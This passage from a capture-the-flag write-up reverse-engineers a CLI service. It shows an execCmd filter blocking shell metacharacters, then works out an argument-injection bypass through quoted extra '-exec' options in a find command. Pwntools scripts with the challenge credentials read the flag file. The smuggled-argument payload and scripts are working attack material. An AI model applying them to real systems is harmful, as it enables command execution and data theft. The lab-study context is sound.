  if ( a2 && (v2 = strtok(a2, ","), v3 = strtok(0, ","), v2) && v3 )
  {
    ptr = execCmd("find /tmp/ -user 1002 -type f -path %s -exec head -n%s \"{}\" \\;", v3, v2);
    if ( ptr )
    {
      sendBytes(a1, ptr);
      sendNewline(a1);
      free(ptr);
    }
    else
    {
      sendBytes(a1, "An error occurred!\n");
    }
  }
  else
  {
    sendBytes(a1, "Unknown command!\n");
  }
}
Takeaways

After checking all of those functions, these are the most important takeaways:

  • ls, ping and head uses the external function execCmd to execute commands, maybe this is vulnerable to command injection?
  • setDiag can be used to set the diag variable to 1 and enable the ping function.
  • ping creates a file /tmp/ping_log which can be used with the head function as it meets the criteria.

And grepping for execCmd function shows us another shared object /bin/libcli_helpers.so

libcli_helpers.so

This shared object included some generic helpers including:

  • sendBytes: Sends bytes to a socket.
  • recvBytes: Recieves bytes from a socket.
  • sendNewline: Uses sendBytes to send a newline.
  • readFile: Reads a file.
  • writeFile: Write a file.
  • checkAbsPathBase: Checks that the base of the absolute path of the first argument equals the second argument.

As for execCmd:

  1. It takes a command as format string.
  2. Takes the arguments to this format string.
  3. Checks each argument for command injection.
  4. Subsitutes formats with arguments.
  5. Run the command.

The interesting part for us is the filter which checks for ["&", "|", ";", "<", ">", "$", "`"] which means no command injections nor output redirections allowed:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void *execCmd(const char *a1, ...)
{
  ...
  va_start(va, a1);
  va_copy(v4, va);
  while ( 1 )
  {
    v2 = va_arg(v4, const char *);
    if ( !v2 )
      break;
    if ( strpbrk(v2, "&|;<>$`") ) 
    {
      perror("Trying to inject I see.\n");
      return 0;
    }
  }
  v7 = vsnprintf(0, 0, a1, va);
  command = (char *)malloc(v7 + 1);
  if ( command )
  {
    vsnprintf(command, v7 + 1, a1, va);
    stream = popen(command, "r");
    ...
  }
}

Plan and Exploit

Given the deduction that execCmd does not allow command injections:

  • ls is now useless.
  • ping can only be used to create the file /tmp/ping_log
  • head should be a normal function, why is it hidden? and why it it being executed using this unusual find command?

To be able to test head further we need to perform the following steps:

  1. Authenticate.
  2. Use setDiag to set diag to 1.
  3. Use ping with 127.0.0.1 to create the file /tmp/ping_log.
  4. Run our first test: head 4,/tmp/ping_log

The following script will be used to automate the process:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import pwn

def main(sni):
    io = pwn.remote(sni, 443, ssl=True, sni=sni, level='error')

    try:
        io.sendlineafter(b"Username: ", b"admin")
        io.sendlineafter(b"Password: ", b"notguessablebutnotcomplex")
        io.sendlineafter(b"> ", b"setdiag 1")
        io.sendlineafter(b"> ", b"ping 127.0.0.1")
        io.recvuntil(b"> ")
        io.interactive()

    finally:
        io.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print(f"\t{sys.argv[0]} SNI")
        exit(0)
    main(sys.argv[1])

And we were able to confirm that it was working correctly:

Now, lets get back to the command being used and inspect our “injection” points:

1
find /tmp/ -user 1002 -type f -path $PATH -exec head -n$COUNT "{}" \;

Our input is only being filtered for command injections but maybe we can do argument injection? find supports multiple -exec flags but each one has to be terminated with \; which we cannot include in our input. Also commenting will comment the \; which will cause an error with -exec. What is something other than comments that can be ignored sometimes in code? STRINGS! We have two inputs, why not try to enclose the full thing in quotes so the command becomes:

1
find /tmp/ -user 1002 -type f -path /tmp/ping_log " -exec head -n2 " "{}" \;

Testing this out succeeds in ignoring the -exec but still errors out:

What if we enclose this inside another -exec as we now have the \; unscathed:

1
find /tmp/ -user 1002 -type f -path /tmp/ping_log -exec echo " -exec head -n2 " "{}" \;

Testing this out, we actually get command execution!

Flag

The flag appears to be in /home/clid/flag.txt similar to how it was with the httpd challenge so we modify our script to the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
import pwn

def main(sni):
    io = pwn.remote(sni, 443, ssl=True, sni=sni, level='error')

    try:
        io.sendlineafter(b"Username: ", b"admin")
        io.sendlineafter(b"Password: ", b"notguessablebutnotcomplex")
        io.sendlineafter(b"> ", b"setdiag 1")
        io.sendlineafter(b"> ", b"ping 127.0.0.1")
        io.sendlineafter(b"> ", b"head  1\",/tmp/ping_log -exec cat /home/clid/flag.txt \"")
        print(io.recvline().decode(), end="")
    finally:
        io.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print(f"\t{sys.argv[0]} SNI")
        exit(0)
    main(sys.argv[1])

And sure enough running the exploit gets the flag: cyctf{y0u_f0und_th3_b4ckd00r_h1dd3n_b3tw33n_l1br4r13s}